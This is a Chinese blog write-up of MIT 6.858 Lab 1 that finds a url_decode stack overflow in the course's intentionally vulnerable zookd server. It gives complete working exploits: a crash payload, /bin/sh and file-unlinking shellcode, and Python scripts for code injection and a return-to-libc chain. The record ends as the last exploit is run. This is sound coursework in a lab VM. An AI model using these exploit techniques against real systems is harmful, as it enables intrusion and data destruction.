MIT 6.858: Computer Systems Security 计算机系统安全 #Lab1
本文同步发布于本人知乎文章https://zhuanlan.zhihu.com/p/258405554
1. Introduction
MIT 6.858 是麻省理工学院一门著名的计算机安全系列课程。跟其相类似的其他名校的安全类课程还有Standford CS155和OSU 系统安全与软件安全等。虽然是比较硬核的大学课程,其实验环境对于现实生活中的安全攻防来说也还是相对较为理想的。不过对于想尽快地熟悉基础的系统安全攻防知识的新手来说,这些实验的容量已经足够了。整个课程有4次实验和一个最终的Final Project,其中所有的实验都围绕一个由课程教师构建的一个名为zoobar的web application来展开。四次实验的主要内容是:
- Lab 1: you will explore the zoobar web application, and use buffer overflow attacks to break its security properties.
- Lab 2: you will improve the zoobar web application by using privilege separation, so that if one component is compromised, the adversary doesn’t get control over the whole web application.
- Lab 3: you will build a program analysis tool based on symbolic execution to find bugs in Python code such as the zoobar web application.
- Lab 4: you will improve the zoobar application against browser attacks.
即分别围绕缓存区溢出攻击、权限分离、符号执行和浏览器攻击四个主题来展开。我将在blog里陆续更新之后的内容。这一次我们先来看第一次实验,Buffer Oveflows
2. Getting started
缓存区溢出攻击需要对程序执行环境中的内存和堆栈进行精准的操作,对编译器参数,环境变量和程序执行方式的细微改变也可能在充满保护机制的现代操作系统中导致攻击失败。我们并不希望每次都进行计算地址偏移等重复劳动,因此在实验进行过程中必须在给定的配置好的虚拟机内进行,而且每次实验运行前都要使用给定的脚本来清理运行环境。
课程主页的 Lab infrastructure 小节提供了虚拟机的下载地址和安装指导。
实验中的的攻击对象的源码和课程提供的其他文字数据是通过git直接拉取课程repo来获取的。在登陆虚拟机(账号是student,密码是6858)之后,使用git来拉取代码:
student@6858-v20:~$ git clone https://web.mit.edu/6858/2020/lab.git
Cloning into 'lab'...
student@6858-v20:~$ cd lab
student@6858-v20:~/lab$
前面提到了我们的攻击对象是一个web应用,我们首先需要从源码编译该应用。课程代码中已经提供了Makefile,只需要执行make命令即可编译所有文件
student@6858-v20:~/lab$ make
cc zookd.c -c -o zookd.o -m64 -g -std=c99 -Wall -D_GNU_SOURCE -static -fno-stack-protector
cc http.c -c -o http.o -m64 -g -std=c99 -Wall -D_GNU_SOURCE -static -fno-stack-protector
cc -m64 zookd.o http.o -lcrypto -o zookd
cc -m64 zookd.o http.o -lcrypto -o zookd-exstack -z execstack
cc -m64 zookd.o http.o -lcrypto -o zookd-nxstack
cc zookd.c -c -o zookd-withssp.o -m64 -g -std=c99 -Wall -D_GNU_SOURCE -static
cc http.c -c -o http-withssp.o -m64 -g -std=c99 -Wall -D_GNU_SOURCE -static
cc -m64 zookd-withssp.o http-withssp.o -lcrypto -o zookd-withssp
cc -m64 -c -o shellcode.o shellcode.S
objcopy -S -O binary -j .text shellcode.o shellcode.bin
cc run-shellcode.c -c -o run-shellcode.o -m64 -g -std=c99 -Wall -D_GNU_SOURCE -static -fno-stack-protector
cc -m64 run-shellcode.o -lcrypto -o run-shellcode
rm shellcode.o
简单的看一下makefile,我们可以发现其生成了两份zookd的可执行文件,zookd-exstack和zookd-nxstack。前者在编译中加了参数-z execstack,我们看一下编译器的版本:
student@6858-v20:~$ gcc --version
gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
显然gcc从很早的版本开始就已经默认执行不可执行栈保护了,加-z execstack的版本是为了本次实验中前半部分的攻击原理顺利实现。后半部分的实验将使用不可执行栈的版本,在这种情况下我们将使用return-to-libc方式来攻击。
然后每次运行web应用的话,需要用给定的脚本./clean-env.sh来执行,该脚本的内容如下:
#!/bin/bash
if [ $# -eq 0 ]; then
echo "Usage: $0 BIN PORT"
echo "clean-env runs the given server binary BIN using the configuration CONFIG in"
echo "a pristine environment to ensure predictable memory layout between executions."
exit 0
fi
killall -w zookld zookd zookfs zookd-nxstack zookfs-nxstack zookd-exstack zookfs-exstack &> /dev/null
ulimit -s unlimited
DIR=$(pwd -P)
if [ "$DIR" != /home/student/lab ]; then
echo "========================================================"
echo "WARNING: Lab directory is $DIR"
echo "Make sure your lab is checked out at /home/student/lab or"
echo "your solutions may not work when grading."
echo "========================================================"
fi
# setarch -R disables ASLR
echo exec env - PWD="$DIR" SHLVL=0 setarch "$(uname -m)" -R "$@"
exec env - PWD="$DIR" SHLVL=0 setarch "$(uname -m)" -R "$@"
可以看出来这个脚本会先清除所有的已运行的zook服务器相关的程序,然后在启动脚本时会使用setarch -R来禁用ASLR,以保证每次程序运行时的内存分布都是相同的,这样我们计算出来的内存偏移地址可以在后面的实验里多次使用。
3. Part 1: Finding buffer overflows
这一部分有两个Exercise,第一个要求我们找到web服务器源码中的栈溢出漏洞,第二个设计一个payload使得这个zook程序的web服务器(或者其某个子进程)崩溃掉。
粗略地浏览一下Makefile可以发现main所在的文件是zookd.c ,我们可以先看一下这里的源码:
/* dispatch daemon */
#include "http.h"
#include <err.h>
#include <regex.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/socket.h>
static void process_client(int);
static int run_server(const char *portstr);
static int start_server(const char *portstr);
int main(int argc, char **argv)
{
if (argc != 2)
errx(1, "Wrong arguments");
run_server(argv[1]);
}
/* socket-bind-listen idiom */
static int start_server(const char *portstr)
{
struct addrinfo hints = {0}, *res;
int sockfd;
int e, opt = 1;
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE;
if ((e = getaddrinfo(NULL, portstr, &hints, &res)))
errx(1, "getaddrinfo: %s", gai_strerror(e));
if ((sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol)) < 0)
err(1, "socket");
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)))
err(1, "setsockopt");
if (fcntl(sockfd, F_SETFD, FD_CLOEXEC) < 0)
err(1, "fcntl");
if (bind(sockfd, res->ai_addr, res->ai_addrlen))
err(1, "bind");
if (listen(sockfd, 5))
err(1, "listen");
freeaddrinfo(res);
return sockfd;
}
static int run_server(const char *port) {
int sockfd = start_server(port);
for (;;)
{
int cltfd = accept(sockfd, NULL, NULL);
int pid;
int status;
if (cltfd < 0)
err(1, "accept");
/* fork a new process for each client process, because the process
* builds up state specific for a client (e.g. cookie and other
* enviroment variables that are set by request). We want to get rid off
* that state when we have processed the request and start the next
* request in a pristine state.
*/
switch ((pid = fork()))
{
case -1:
err(1, "fork");
case 0:
process_client(cltfd);
exit(0);
break;
default:
close(cltfd);
pid = wait(&status);
if (WIFSIGNALED(status)) {
printf("Child process %d terminated incorrectly, receiving signal %d\n",
pid, WTERMSIG(status));
}
break;
}
}
}
static void process_client(int fd)
{
static char env[8192]; /* static variables are not on the stack */
static size_t env_len = 8192;
char reqpath[8192];
const char *errmsg;
/* get the request line */
if ((errmsg = http_request_line(fd, reqpath, env, &env_len)))
return http_err(fd, 500, "http_request_line: %s", errmsg);
env_deserialize(env, sizeof(env));
/* get all headers */
if ((errmsg = http_request_headers(fd)))
http_err(fd, 500, "http_request_headers: %s", errmsg);
else
http_serve(fd, getenv("REQUEST_URI"));
close(fd);
}
void accidentally(void)
{
__asm__("mov 16(%%rbp), %%rdi": : :"rdi");
}
可以看到服务器是一个比较简单的用多进程来处理多用户的c socket server,其处理流程可以分解为:
- 在run_server函数中的无限循环中,每次accept一个新的client描述符之后,会fork出一个新进程,调用process_client处理这个client的请求。
- process_client首先调用http_request_line处理请求行,也就是类似”GET / HTTP/1.0\r\n”这种的request line。
- 如果请求行没有问题的话,再调用env_deserialize解析一下环境变量,然后再调用http_request_headers处理请求headers
- 如果headers的解析也没有问题的话,再调用http_serve函数处理请求,简单的看一下可以发现http_serve之后的处理机制是分为对静态文件的请求返回和对可执行动态脚本的请求
- 这里的话继续往下看可以发现它使用了Flask作为后端来支撑整个web应用的正常运转,主要包括了一些简单的sql CRUD处理。
根据Lab 1的介绍来看,本次实验只需要针对这个C语言写的socket server进行攻击,后端的进一步分析可以先不做。也就是说我们只需要对上述2-3步进行分析即可。这两步中的重点函数是http_request_line和http_request_headers, 我们可以先审查一下这两个函数的源码
http_request_line:
const char *http_request_line(int fd, char *reqpath, char *env, size_t *env_len)
{
static char buf[8192]; /* static variables are not on the stack */
char *sp1, *sp2, *qp, *envp = env;
/* For lab 2: don't remove this line. */
touch("http_request_line");
if (http_read_line(fd, buf, sizeof(buf)) < 0)
return "Socket IO error";
/* Parse request like "GET /foo.html HTTP/1.0" */
sp1 = strchr(buf, ' ');
if (!sp1)
return "Cannot parse HTTP request (1)";
*sp1 = '\0';
sp1++;
if (*sp1 != '/')
return "Bad request path";
sp2 = strchr(sp1, ' ');
if (!sp2)
return "Cannot parse HTTP request (2)";
*sp2 = '\0';
sp2++;
/* We only support GET and POST requests */
if (strcmp(buf, "GET") && strcmp(buf, "POST"))
return "Unsupported request (not GET or POST)";
envp += sprintf(envp, "REQUEST_METHOD=%s", buf) + 1;
envp += sprintf(envp, "SERVER_PROTOCOL=%s", sp2) + 1;
/* parse out query string, e.g. "foo.py?user=bob" */
if ((qp = strchr(sp1, '?')))
{
*qp = '\0';
envp += sprintf(envp, "QUERY_STRING=%s", qp + 1) + 1;
}
/* decode URL escape sequences in the requested path into reqpath */
url_decode(reqpath, sp1);
envp += sprintf(envp, "REQUEST_URI=%s", reqpath) + 1;
envp += sprintf(envp, "SERVER_NAME=zoobar.org") + 1;
*envp = 0;
*env_len = envp - env + 1;
return NULL;
}
http_request_headers:
const char *http_request_headers(int fd)
{
static char buf[8192]; /* static variables are not on the stack */
int i;
char value[512];
char envvar[512];
/* For lab 2: don't remove this line. */
touch("http_request_headers");
/* Now parse HTTP headers */
for (;;)
{
if (http_read_line(fd, buf, sizeof(buf)) < 0)
return "Socket IO error";
if (buf[0] == '\0') /* end of headers */
break;
/* Parse things like "Cookie: foo bar" */
char *sp = strchr(buf, ' ');
if (!sp)
return "Header parse error (1)";
*sp = '\0';
sp++;
/* Strip off the colon, making sure it's there */
if (strlen(buf) == 0)
return "Header parse error (2)";
char *colon = &buf[strlen(buf) - 1];
if (*colon != ':')
return "Header parse error (3)";
*colon = '\0';
/* Set the header name to uppercase and replace hyphens with underscores */
for (i = 0; i < strlen(buf); i++) {
buf[i] = toupper(buf[i]);
if (buf[i] == '-')
buf[i] = '_';
}
/* Decode URL escape sequences in the value */
url_decode(value, sp);
/* Store header in env. variable for application code */
/* Some special headers don't use the HTTP_ prefix. */
if (strcmp(buf, "CONTENT_TYPE") != 0 &&
strcmp(buf, "CONTENT_LENGTH") != 0) {
sprintf(envvar, "HTTP_%s", buf);
setenv(envvar, value, 1);
} else {
setenv(buf, value, 1);
}
}
return 0;
}
可以发现这两个函数其实做的事情差不多:
- 先用http_read_line读入一些数据(字面意思看是一行)
- 校验读入行的格式,例如请求行是检查是否是GET / 或者 POST / 加上\r\n,请求头是否是 Name: Value\r\n 格式的。
- 检验通过之后用url_decode解码
- 使用sprintf设定环境变量
我们先看下http_read_line
int http_read_line(int fd, char *buf, size_t size)
{
size_t i = 0;
for (;;)
{
int cc = read(fd, &buf[i], 1);
if (cc <= 0)
break;
if (buf[i] == '\r')
{
buf[i] = '\0'; /* skip */
continue;
}
if (buf[i] == '\n')
{
buf[i] = '\0';
return 0;
}
if (i >= size - 1)
{
buf[i] = '\0';
return 0;
}
i++;
}
return -1;
}
可以看到该函数功能为读取一行,而且这里使用size函数约束了读入字符的长度,所以无法进行栈溢出。再来看下url_decode:
void url_decode(char *dst, const char *src)
{
for (;;)
{
if (src[0] == '%' && src[1] && src[2])
{
char hexbuf[3];
hexbuf[0] = src[1];
hexbuf[1] = src[2];
hexbuf[2] = '\0';
*dst = strtol(&hexbuf[0], 0, 16);
src += 3;
}
else if (src[0] == '+')
{
*dst = ' ';
src++;
}
else
{
*dst = *src;
src++;
if (*dst == '\0')
break;
}
dst++;
}
}
这里的话就可以发现一个bug点:url_decode调用的两个参数为两个数组指针,但是没有url_decode这边其实并没有判断两个指针所在的数组长度,而只是一直复制到src中为’\0’才停止,相当于一个带url解码的strcpy,另一方面http_request_line和http_request_headers中使用这个函数的时候,传入的两个参数都是 $len(dst)<len(src)$ 的,这就给了我们可乘之机,利用src与dst的长度差,即可将溢出的数据写入到*src外面。我们看src的实参的话,分别是reqpath和value两个数组,而reqpath其实是zookd.c中传进来的process_client的reqpath。这里其实选择两个来做exploit都是可以的,我选择的是http_request_headers,也就是用最大容量为8192的buf数组来覆盖最大容量为512的value数组。这样的话我们只需要一个小于8192的足够长的一行输入就可以覆盖http_request_headers的返回地址,所以Exercise 2的答案可以简单的这样构造payload,将exploit-template.py中的代码复制到新建的exploit-2.py中,并将build exploit函数改为如下:
def build_exploit(shellcode):
req = b"GET / HTTP/1.0\r\n"
req = req + b"EXP: "
for _ in range(5000):
req = req + b"A"
req += b"\r\n"
req += b"\r\n"
return req
我们先启动web应用的可执行栈版本:
student@6858-v20:~/lab$ ./clean-env.sh ./zookd-nxstack 8080 &
[1] 3211
student@6858-v20:~/lab$ exec env - PWD=/home/student/lab SHLVL=0 setarch x86_64 -R ./zookd-nxstack 8080
然后运行exploit-2.py
student@6858-v20:~/lab$ ./exploit-2.py 192.168.33.130 8080
HTTP request:
Connecting to 192.168.33.130:8080...
Connected, sending request...
Request sent, waiting for reply...
Received reply.
HTTP response:
b''
student@6858-v20:~/lab$ Child process 3223 terminated incorrectly, receiving signal 11
可以看到控制台输出Child process 3223 terminated,也就是说我们成功让子进程崩溃了。除此之外,使用课程提供的makfile也可以方便的帮助我们检查自己的代码是否有效,在这一步可以通过运行make check-crash来测试是否成功:
student@6858-v20:~/lab$ make check-crash
cc -m64 -c -o shellcode.o shellcode.S
objcopy -S -O binary -j .text shellcode.o shellcode.bin
./check-bin.sh
tar xf bin.tar.gz
./check-part2.sh zookd-exstack ./exploit-2.py
./check-part2.sh: line 8: 3155 Terminated strace -f -e none -o "$STRACELOG" ./clean-env.sh ./$1 8080 &> /dev/null
3170 --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} ---
3170 +++ killed by SIGSEGV (core dumped) +++
3158 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_DUMPED, si_pid=3170, si_uid=1000, si_status=SIGSEGV, si_utime=0, si_stime=0} ---
PASS ./exploit-2.py
rm shellcode.o
可以看到我们的结果是PASS,说明Exercise 2已经完成。
4. Part 2: Code injection
这一部分的要求是让我们针对有可执行栈的zookbar程序做代码注入。一般我们平时做的话最多的是通过注入代码来获取shell,所以多是执行execve(“/bin/sh”),这个参数只有一个字符串,其实是相对比较简单的,在这里需要注入的执行shell的汇编代码(也就是所谓shellcode的名字来历)如下:
#include <sys/syscall.h>
#define STRING "/bin/sh"
#define STRLEN 7
#define ARGV (STRLEN+1)
#define ENVP (ARGV+8)
.globl main
.type main, @function
main:
jmp calladdr
popladdr:
popq %rcx
movq %rcx,(ARGV)(%rcx) /* set up argv pointer to pathname */
xorq %rax,%rax /* get a 64-bit zero value */
movb %al,(STRLEN)(%rcx) /* null-terminate our string */
movq %rax,(ENVP)(%rcx) /* set up null envp */
movb $SYS_execve,%al /* set up the syscall number */
movq %rcx,%rdi /* syscall arg 1: string pathname */
leaq ARGV(%rcx),%rsi /* syscall arg 2: argv */
leaq ENVP(%rcx),%rdx /* syscall arg 3: envp */
syscall /* invoke syscall */
xorq %rax,%rax /* get a 64-bit zero value */
movb $SYS_exit,%al /* set up the syscall number */
xorq %rdi,%rdi /* syscall arg 1: 0 */
syscall /* invoke syscall */
calladdr:
call popladdr
.ascii STRING
而这次实验的要求是unlink一个文件,此时相当于执行了这样一个过程:
char * argv[] = {"/usr/bin/unlink","/home/student/grades.txt", (char *)0};
char * envp[] = {0};
execve("/usr/bin/unlink", argv, envp);
那么我们就需要用更多的步骤来正确的在栈上布局execve所需要的参数。我们仍然使用像普通的shellcode中一样传递字符串指针的方法:用pop来把call的下一条指令的返回值弹出,而call的下一条指令我们放一个
“`.ascii “/usr/bin/unlinkA/home/student/grades.txtA”“`,这样的话弹出的结果就是指向.ascii的一个指针了,我们用他来作为基础指针来进行后续的操作。
由execve的man page可以得出,该函数的参数有三个:执行文件路径字符串的指针,执行文件参数字符串数组的指针,环境变量数组的指针。其中字符串的结尾要用”\0″来分割,而argv数组的结尾需要用一个NULL指针来填充。由于注入shellcode里不能出现’\0’(0x00会被http_read_line当作字符串的结尾截断),所以我们仿照上面获取shell的代码,用
“`xorq %rax,%rax“`来直接获得一个全0的寄存器,用这个rax来代替之后代码里需要用到的0x00的字节。根据字符串数组在内存中的分布模型我们可以知道,这时argv指向的其实就是”/usr/bin/unlink”,而后的字符串/home/student/grades.txt用”\0″分割开就行,这一点可以简单地数一下有多少个字符,然后把”/usr/bin/unlinkA/home/student/grades.txtA” 里的’A’替换成’\0’即可。
经过以上简单的分析,可以构造shellcde如下:
#include <sys/syscall.h>
#define STRING "/usr/bin/unlinkA/home/student/grades.txtA"
#define STRLEN 41
#define ARGV (STRLEN+1)
#define ENVP (ARGV+24)
.globl main
.type main, @function
main:
jmp calladdr
popladdr:
xorq %rax,%rax /* get a 64-bit zero value */
popq %rcx /* address of string */
movq %rcx,(ARGV)(%rcx) /* first arg */
leaq (16)(%rcx),%rbx
movq %rbx,(ARGV+8)(%rcx) /* second arg */
movq %rax,(ARGV+16)(%rcx) /* NULL end */
movb %al,(15)(%rcx) /* null-terminate our string 1 */
movb %al,(40)(%rcx) /* null-terminate our string 2 */
movq %rax,(ENVP)(%rcx) /* set up null envp */
movb $SYS_execve,%al /* set up the syscall number */
movq %rcx,%rdi /* syscall arg 1: string pathname */
leaq ARGV(%rcx),%rsi /* syscall arg 2: argv */
leaq ENVP(%rcx),%rdx /* syscall arg 3: envp */
syscall /* invoke syscall */
xorq %rax,%rax /* get a 64-bit zero value */
movb $SYS_exit,%al /* set up the syscall number */
xorq %rdi,%rdi /* syscall arg 1: 0 */
syscall /* invoke syscall */
calladdr:
call popladdr
.ascii STRING
有了shellcode之后我们还需要找到value数组和程序返回地址在内存中的位置,这两个可以用gdb附加进程调试很快的找到。具体步骤是这样:我们先在
“`zookd.c:113“`处下一个断点,然后用任意方法发起一次请求,gdb的输出如下:
student@6858-v20:~/lab$ gdb -q -p $(pgrep zookd-)
Attaching to process 3211
(gdb) c
Continuing.
[New process 3264]
[Switching to process 3264]
Thread 2.1 "zookd-nxstack" hit Breakpoint 1, process_client (fd=4)
at zookd.c:113
113 if ((errmsg = http_request_headers(fd)))
1: $rbp = (void *) 0x7fffffffecf0
2: $rsp = (void *) 0x7fffffffccd0
3: x/i $pc
=> 0x55555555581d <process_client+118>: mov -0x2014(%rbp),%eax
命中断点之后首先看一下前后的指令位置:
(gdb) disas
Dump of assembler code for function process_client:
=> 0x000055555555581d <+118>: mov -0x2014(%rbp),%eax
0x0000555555555823 <+124>: mov %eax,%edi
0x0000555555555825 <+126>: callq 0x555555555c1f <http_request_headers>
0x000055555555582a <+131>: mov %rax,-0x8(%rbp)
0x000055555555582e <+135>: cmpq $0x0,-0x8(%rbp)
可以看到http_request_headers的返回地址(也就是call的下一条指令)是0x000055555555582a,那么我们接下来在http_request_headers里找这个地址出现的位置就是存储其返回值的内存区域了。我们在
“`http.c:172 return 0;“`这里再下一个断点看一下:
(gdb) b http.c:172
Breakpoint 8 at 0x555555555e1d: file http.c, line 172.
(gdb) c
Continuing.
Thread 2.1 "zookd-nxstack" hit Breakpoint 8, http_request_headers (fd=4)
at http.c:172
172 return 0;
1: $rbp = (void *) 0x7fffffffccc0
2: $rsp = (void *) 0x7fffffffc880
3: x/i $pc
=> 0x555555555e1d <http_request_headers+510>: mov $0x0,%eax
(gdb) disas
0x0000555555555e12 <+499>: callq 0x555555555110 <setenv@plt>
0x0000555555555e17 <+504>: jmpq 0x555555555c3d <http_request_headers+30>
0x0000555555555e1c <+509>: nop
=> 0x0000555555555e1d <+510>: mov $0x0,%eax
0x0000555555555e22 <+515>: add $0x438,%rsp
0x0000555555555e29 <+522>: pop %rbx
0x0000555555555e2a <+523>: pop %rbp
0x0000555555555e2b <+524>: retq
我们再在0x0000555555555e2b <+524>: retq前设置一下断点,跑到这里看看rsp附近的情况,因为我们知道正常的程序返回值就是在最后的rsp这里存着的。
(gdb) x/8x $rsp
0x7fffffffccc8: 0x5555582a 0x00005555 0x00000000 0x00000000
0x7fffffffccd8: 0x00000000 0x00000004 0x0000002f 0x00000000
看到了我们要找的0x000055555555582a,我们记下这里的内存地址0x7fffffffccc8,记为stack_retaddr了。然后找一下value返回地址,这个只需要在http_request_headers里打个断点然后print一下value数组的地址即可:
(gdb) p &value
$1 = (char (*)[512]) 0x7fffffffca90
获取了两个地址之后我们就可以写一个脚本来进行缓存区溢出攻击了,用一些垃圾数据填充函数返回值与注入数组的内存差值,然后把shellcode的地址,写进去,再把shellcode本身的二进制代码填入即可:
#!/usr/bin/env python3
import sys
import socket
import traceback
import urllib.parse
import struct
stack_buffer = 0x7fffffffda90
stack_retaddr = 0x7fffffffdcc8
def build_exploit(shellcode):
shellfile = open("shellcode.bin", "rb")
shellcode = shellfile.read()
req = b"GET / HTTP/1.0\r\n" #+ \
#b"\r\n"
req += b"EXP: "
req += shellcode + b"A" * ((stack_retaddr - stack_buffer) - len(shellcode))
req += struct.pack('<Q', stack_buffer)
req += b"\r\n"
return req
def send_req(host, port, req):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Connecting to %s:%d..." % (host, port))
sock.connect((host, port))
print("Connected, sending request...")
sock.send(req)
if len(sys.argv) != 3:
print("Usage: " + sys.argv[0] + " host port")
exit()
try:
shellfile = open("shellcode.bin", "rb")
shellcode = shellfile.read()
req = build_exploit(shellcode)
print("HTTP request:")
resp = send_req(sys.argv[1], int(sys.argv[2]), req)
print("HTTP response:")
print(resp)
except:
print("Exception:")
print(traceback.format_exc())
其中shellcode.bin我们使用make直接编译即可.
为了验证我们的注入代码是否成功,可以先在/home/student/下新建一个grades.txt文件,启动服务器后,运行注入shellcode的exploit-3.py代码,执行完毕之后就可以发现该文件已经不存在了. 也可以使用make check-exstack 来检验:
student@6858-v20:~/lab$ make check-exstack
./check-bin.sh
tar xf bin.tar.gz
./check-part3.sh zookd-exstack ./exploit-3.py
PASS ./exploit-3.py
[2]+ Terminated ./clean-env.sh ./zookd-nxstack 8080
结果也是PASS,说明本exercise也已经完成.
5. Part 3: Return-to-libc attacks
这一部分要求我们对zookd-nxstack进行攻击,与zookd-exstack相比这个版本在编译时使用了不可执行栈的保护,这意味着我们利用缓存区溢出攻击覆盖到栈上的shellcode是不能执行的。这样一来我们上一步中的shellcode就完全没有用了,因为我们无法令pc跳转到不可执行的栈上。但是我们仍然能够利用缓存区溢出修改ret指令返回的地址,只要我们将其指向一个可以执行的内存区域。为了执行攻击,我们首先需要找到一些可利用的代码段。而我们所攻击的程序,就像zookd.c或者http.c等,一般是没有直接能让自己利用的代码段的,因为我们一般会想执行system(“/bin/bash”)等这种能让我们对系统或者文件进行一些操作的命令,这时候就需要用到我们的C标准库(C Standard Library, libc)了。我们可以先看一下libc的man手册怎么说:
student@6858-v20:~$ man libc
...
DESCRIPTION
The term "libc" is commonly used as a shorthand for the "standard C library", a library of standard functions that can be used by all C programs (and
sometimes by programs in other languages).
注意到
“`can be used by all C programs (and
sometimes by programs in other languages)“`,即libc中的函数可以在所有的C程序中被调用,那么我们大概知道libc中有一些我们想要操作的系统调用函数,如execve, system,unlink等等,如果通过buffer overflow来把某个函数的返回地址改为unlink,并同时把调用unlink所需要的参数(文件路径的字符串)安排好,那么就可以执行我们想要的操作了。
OK现在问题分为了两步
- 把return地址改为libc中的unlink函数地址
- 安排好unlink函数需要的参数
我们使用gdb调试附加zookbar的进程,发送请求之后到任意断点处停下,然后查看unlink函数的地址:
(gdb) p unlink
$3 = {<text variable, no debug info>} 0x15555504cd40 <unlink>
把0x15555504cd40记下来之后,下一步是要安排参数。这里非常有趣的一点是mit的这个实验使用了x86-64的机器,很与时俱进。而在x86-64的环境下,函数调用的模式是把前6个参数的指针存储在寄存器里,而不是栈上,例如第一个参数放到rdi,第二个rsi,等等,直到第7个往后的参数才存储在栈上。这就又给我们的攻击带来了困难,参数不在栈上,我们无法通过buffer overflow来操纵他们,而我们自己注入的代码又无法执行。
解决这个问题的方法是,像使用libc中的库函数一样,我们直接使用一些当前程序中已有的指令段,比如某一行有
“`mov 0x10(%rbp),%rdi“`这种能被我们拿来利用的小代码段,我们就可以把栈上的(rbp是栈底指针)相应位置安排上我们的数据作为参数处理。
实验为了降低难度,直接给了我们这样一段代码
void accidentally(void)
{
__asm__("mov 16(%%rbp), %%rdi": : :"rdi");
}
看一下这段代码的汇编指令:
(gdb) disas
Dump of assembler code for function accidentally:
0x000055555555588a <+0>: push %rbp
0x000055555555588b <+1>: mov %rsp,%rbp
0x000055555555588e <+4>: mov 0x10(%rbp),%rdi
0x0000555555555892 <+8>: nop
0x0000555555555893 <+9>: pop %rbp
0x0000555555555894 <+10>: retq
End of assembler dump.
回想之前我们的目的,要把指向字符串
“`/home/student/grades.txt“`的指针存储到rdi寄存器里。如果我们利用上面这一小段代码的话,只需要把字符串的地址想办法放到0x10(%rbp)里,而这里的rbp在前一行被rsp的值所覆盖,所以其实要存放的目标地址就是栈顶指针rsp+16的位置,由于rsp是从http_request_headers里return来的,所以根据函数返回调用的栈帧运作情况我们可以推算出来这里的rsp相当于http_request_headers中的rbp+8(弹出了返回地址),那么accidentally中的rsp+16就相当于http_request_headers中的rbp+24了。而http_request_headers中的rbp值易得:
(gdb) print $rbp
$1 = (void *) 0x7fffffffdcc0
那么按照与return-to-libc相同的思路,我们先在栈溢出中把返回地址($rbp+8)指向accidentally的开头0x000055555555588a,然后接下来在更高的8字节($rbp+16)上放libc函数unlink的调用地址,再往后8个字节(rbp+24)的位置需要放上指向字符串的指针。再往后,我们把字符串本身放进去作为payload的结尾,也就是说(rbp+24)的地方放的其实是(rbp+32)这个数本身。
注意这里不能直接返回到
“`0x000055555555588e <+4>: mov 0x10(%rbp),%rdi“`这一行,原因是在http request line函数里,rsp是被修改过的指针,实际上就是栈里有一些临时变量没有清空我们直接跳过来了,在这种情况下栈指针是没有地址对齐的。CPU处于性能方面的考虑,要求对数据进行访问时都必须是地址对齐的。如果发现进行的不是地址对齐的访问,就会发送SIGBUS信号给进程,使进程产生 core dump。这时候虽然我们仍然能成功跳转,甚至成功传递参数给unlink函数,但是在libc内的函数执行过程中会有movabs之类的指令运算检查栈指针地址对齐,然后就会crash掉我们攻击的进程,无法继续执行下去。为了能够避免这个问题,只能先跳转到函数的开头“`0x000055555555588a <+0>: push %rbp“`,用一个正常的函数周期来中转,加载我们的rdi
另外,这里还有个很有趣的事情是,64位系统理论上可以提供2^64字节的虚拟地址空间,然而目前只用到了其中的后48位,也就是说地址是从
“`0000 0000 0000 0000“` 到 “`0000 7fff ffff ffff“`,这其实会对很多基于strcpy之类的攻击造成阻碍,因为开头的两个空字节0x00会直接让读入函数以为自己已经读到’\0’了,从而抛弃了后面的数据。在本次实验中这个问题不用担心,因为我们的攻击对象是一个url_decode函数,这个函数虽然也是当src指针指向’\0’的时候停止,但是他内部有一个很大的逻辑漏洞是当遇到百分号%的时候他会直接把后面两位拿过来当作16进制数据。这么一来我们只需要把我们的payload后面需要用到的地址部分每个字节都加一个%的前缀就可以了,可以写一个简单的urlencode函数来进行这个操作。
综合上面的分析,我们可以得到如下的攻击代码:
#!/usr/bin/env python3
import sys
import socket
import traceback
import urllib.parse
import struct
stack_buffer = 0x7fffffffda90
stack_retaddr = 0x7fffffffdcc8
libc_retaddr = 0x000055555555588a # change for stack aligned
unlink_addr = 0x15555504cd40
filename_addr = 0x7fffffffdce0
def urlencode(b):
r = b""
for c in b:
r += b"%"+c.to_bytes(1,"little").hex().encode()
return r
def build_exploit(shellcode):
filename = b"/home/student/grades.txt"+b"\0"
req = b"GET / HTTP/1.0\r\n" #+ \
#b"\r\n"
payload = b""
req += b"EXP: "
req += b"A" * ((stack_retaddr - stack_buffer)) #junk
payload += struct.pack('<Q', libc_retaddr) # return adress
payload += struct.pack('<Q', unlink_addr)
payload += struct.pack('<Q', filename_addr)
req += urlencode(payload)#key step
req += filename
req += b"\r\n"
req += b"\r\n"
return req
####
def send_req(host, port, req):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Connecting to %s:%d..." % (host, port))
sock.connect((host, port))
print("Connected, sending request...")
sock.send(req)
print("Request sent, waiting for reply...")
rbuf = sock.recv(1024)
resp = b""
while len(rbuf):
resp = resp + rbuf
rbuf = sock.recv(1024)
print("Received reply.")
sock.close()
return resp
if len(sys.argv) != 3:
print("Usage: " + sys.argv[0] + " host port")
exit()
try:
shellfile = open("shellcode.bin", "rb")
shellcode = shellfile.read()
req = build_exploit(shellcode)
print("HTTP request:")
print(req)
resp = send_req(sys.argv[1], int(sys.argv[2]), req)
print("HTTP response:")
print(resp)
except:
print("Exception:")
print(traceback.format_exc())
在运行前首先启动服务器的nxstack版本,然后
“`/home/student/grades.txt“` 创建一个文件,然后执行上面的py脚本
student@6858-v20:~/lab$ python3 exploit-4.py 192.168.33.130 8080
HTTP request:
